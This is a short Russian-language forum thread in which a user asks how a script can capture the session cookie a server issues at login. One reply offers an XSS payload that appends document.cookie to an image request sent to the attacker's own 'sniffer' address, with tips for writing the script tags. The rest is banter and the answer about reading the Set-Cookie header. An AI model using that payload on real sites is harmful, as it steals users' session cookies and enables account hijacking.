Снова о куке!!! При авторизации сервер ее дает, как сохр...

[rcc0023]

Снова вопрос о куке!
Есть сервер X, при авторизации он передает куку... так вот, какой скрипт может перехватить переданную им (сервером X) куку??

[Ильич]

никакой

[Kusto]

блин все так туманно расписанно- непойму ты XSS нашел а как ей воспользоваться незнаеш? я правильно понял?, ну для начала тебе снифер нужен ну а потом попробуй вставить что то наподобие (script)img=new Image();img.src="адрес твоего снифера"+document.cookie;(/script)
P.S. единственное замени ) на > ну и обратную скобку на < в словах script

[rcc0023]

Да не)))

Я написал скрипт (назовем его My_script), который передает пост запрос с обязательной кукой, в которой содержится сессия. Эта сессия на 2 часа, далее идет логаут... сессия уже не действительна. Необходимо снова логинится и забивать в скрипт My_script данные куки... я хочу чтобы новую куку брал скрипт...

[rcc0023]

post запрос с логин\паролем скрипту www.chuzoy_site.py/LOGIN.PHP ... он дает ответ, в котором кука... нужно ее сохранить

[-Hormold-]

используй /dev/head/
в гугле поищи...
хорошая вещь...

[rcc0023]

Мм... -Hormold-, я не профи)) подробней бы ;)
и у мну нет никса... одни окна... (на домашнем хочу..)

[Ильич]

используй /dev/head/
и у мну нет никса...
:D :D :D

[rcc0023]

Ну так как?? Опять будете до последнего молчать??!?!?

[rcc0023]

Ну ответьте.. какой скрипт это может проделать?

[BlackSun]

post запрос с логин\паролем скрипту www.chuzoy_site.py/LOGIN.PHP ... он дает ответ, в котором кука... нужно ее сохранить
Из заголовка ответа возьми, либо cat /dev/legs > /dev/mouth

[rcc0023]

Точно, в заголовке сидела)))

[nc.STRIEM]

почитай доки по Http протаколу, сам все поймеш